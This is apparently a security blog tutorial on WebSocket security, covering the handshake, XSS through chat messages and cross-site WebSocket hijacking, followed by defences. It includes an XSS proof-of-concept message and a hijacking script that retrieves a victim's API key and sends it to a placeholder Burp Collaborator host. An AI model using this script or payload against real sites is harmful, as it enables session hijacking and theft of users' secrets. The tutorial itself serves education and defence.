WebSockets Security Explained for Security Enthusiasts
Introduction
Today we are going to take a dive into WebSockets and how we can exploit vulnerabilities/misconfigurations in WebSockets. At the end, we will also go on how to secure WebSockets to prevent such vulnerabilities from arising in the first place. Before going into WebSocket security, let’s first get our feet wet by understanding what WebSockets are.
What are WebSockets?
HTTP is a request-response protocol. It means that a response is always preceded by a request; the server would not send anything unless asked for. With the advent of real-time applications, latest problems came into existence. Applications require immediate real-time information with as little latency as possible. To get new information, the clients would have to send repeatedly requests to the servers. The traditional request-response model is not an ideal solution to this problem. Since HTTP is a stateless protocol, the server and client would have to perform the three-way handshake at the start of each such request.
In such situations, we can use WebSockets. They are full-duplex TCP connections between the server and client. The key difference between regular HTTP connections and WebSockets is that the latter provides long-lived and asynchronous communications. Communication is non-transactional (as in request-and-then-response). The connection stays open and remains idle until either the client or the server sends a message.
The WebSocket handshake
At the beginning of a WebSocket connection, the client initiates a WebSocket handshake over HTTP. If the server accepts the connection request, it responds with HTTP status code 101 (Switching Protocols). Let us understand this handshake process step by step:
- The client initiates the WebSocket handshake by sending a request to the server. This request includes the following key features:
- “Connection: Upgrade” header: With this header, the client requests the server that it wants to upgrade to the WebSocket connection. The server responds with the HTTP 101 “Switching Protocols” response.
- “Sec-WebSocket-Version” header: This header specifies the WebSocket protocol version the client wishes to use. The server checks and confirms if it supports that version. If the server can’t communicate using the specified WebSocket protocol version, the server responds with its supported version using this same header.
- “Sec-WebSocket-Key” header: It contains a Base64 encoded random key calculated using an algorithm defined in the WebSocket specification.
- The server accepts the connection request and responds to the client with a “HTTP 101 Switching Protocols” response status. The response contains the following key feature:
- “Sec-WebSocket-Accept” header: The value of this header is calculated on the server. First the server concatenates the value obtained from the “Sec-WebSocket-Key” and the Globally Unique Identifier (GUID) “258EAFA5-E914-47DA-95CA-C5AB0DC85B11” which is defined in RFC6455. Then it takes the SHA-1 hash of the resulting string and base64 encodes this hash that is finally sent via this header to the client. The client verifies this value to confirm that the server can indeed support WebSocket connections. It does not have any part in ensuring WebSocket security.
- The handshake is now complete, and both the parties can communicate via WebSockets in either direction.
WebSocket connections are created using client-side JavaScript as shown below:
var ws = new WebSocket(“ws://example.com/ws”);
Notice that instead of the http:// scheme, we use ws://. Similar to https://, we have wss:// which is WebSockets over TLS. Messages are sent as such ws.send(“Hello World!”). Below is the request and response for the handshake: Request:
GET /ws HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://localhost:5500
Sec-WebSocket-Key: LIjOxGJBPA6fngs2PGsBzg==
Connection: keep-alive, Upgrade
Cookie: PHPSESSID=5e042rto2ppd16gg1ge8jr6qmf
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Response:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: iTRZLLyuhVG1BnH5USBIM/cpC/Q=
Attacks on WebSocket security
Improper implementation of WebSockets can lead to some severe vulnerabilities. User input transmitted to the server without proper sanitization can cause vulnerabilities such as SQL injections. If unsanitized input is transmitted to other clients, it might lead to client-side vulnerabilities such as cross-site scripting.
Manipulating WebSocket messages:
Injection attacks can be an outcome if an attacker can manipulate WebSocket messages and the server does not properly validate them. An attacker can use a proxy tool such as BurpSuite to send specially crafted messages bypassing client-side validation. If the server does not properly check the contents of the input for special characters or malicious input, an attacker can perform attacks.
For example, let us consider a real-time chat application where different clients can join a chat room and chat together. An attacker can send an XSS payload in the message. The application sends the attacker’s input as is and, therefore, the XSS payload gets executed on all the other active participants in that chat room. A proof-of-concept message for XSS over WebSockets is shown below:
{“user”:”attacker”,”message”:”<img src=x onerror=’alert(1337)'”}
Cross-Site WebSocket hijacking (CSWSH):
When the WebSocket handshake only depends solely on the HTTP cookies for the handling of sessions without implementing CSRF protections, we get Cross-Site WebSocket hijacking vulnerability. If you do not know what CSRF is, in short, it is a vulnerability that arises when applications handle their user’s actions solely only on the user’s cookies. This allows attackers to cause authenticated victim users to perform unwanted actions on the vulnerable application.
Also, since WebSockets are not secured by the Same-Origin Policy, attackers can initiate a cross-site WebSocket request from a malicious website that they control. The attack would allow the attacker to send arbitrary messages on behalf of the victim via this established connection. The attacker can even read sensitive information if the vulnerable application contains functionality to retrieve sensitive information. Suppose the WebSocket at ws://localhost:1337 is vulnerable to this attack. It contains functionality to retrieve the API key of users with the get-api-key message. For exploitation, we can simply write a script as such:
<script type=”text/javascript”>
var ws = new WebSocket(“ws://localhost:1337/ws”);
ws.onopen = (conn)=>{
ws.send(“get-api-key”);
ws.onmessage = (message)=>{
url = “http://<your-collaborator-id>.burpcollaborator.net/?msg=” + btoa(message.data);
xhr = new XMLHttpRequest();
xhr.open(“GET”, url, true);
xhr.send();
}
}
</script>
Simple proof of concept
When the victim visits this page, a new WebSocket connection bound to their session would be created. The script will request for the API_KEY with the get-api-key message. The response would then be sent over to our burp collaborator server as displayed below:
Retrieving sensitive data using CSWSH
Securing WebSockets
Attacking WebSockets without knowing how to protect them makes WebSocket security incomplete. In this section, we discuss different ways on how we can secure WebSockets.
- Verifying the Origin Header
The Origin request header indicates the origin of the request. This header is designed to protect against cross-origin attacks. The server validates whether the origin is trustworthy. If not, the request is rejected. Requests from untrusted origins are dropped. Since the Origin header can’t be set programmatically (using JavaScript), the attacker can’t spoof this header on the victim’s end.
- Using CSRF protections
By using anti-CSRF headers such as X-CSRF-Token, cross-site attacks can be averted. These tokens should be generated on the server-side, should be random and unguessable. These tokens should be validated in the request.
- Using WebSocket Secure (WSS)
Encrypted wss:// protocol should be used over the unencrypted ws:// protocol. WSS is WebSockets over SSL/TLS and encrypted thus helping protect against man-in-the-middle attacks.
- Validating client input
A simple rule of thumb is to not trust user input. Always be prepared to properly validate and sanitize users’ input. These can come a long way in preventing a plethora of attacks, especially injection-based attacks.
Conclusion
I believe this blog gives you a brief understanding of WebSockets and WebSocket security. I hope you loved reading it as much as I did writing it.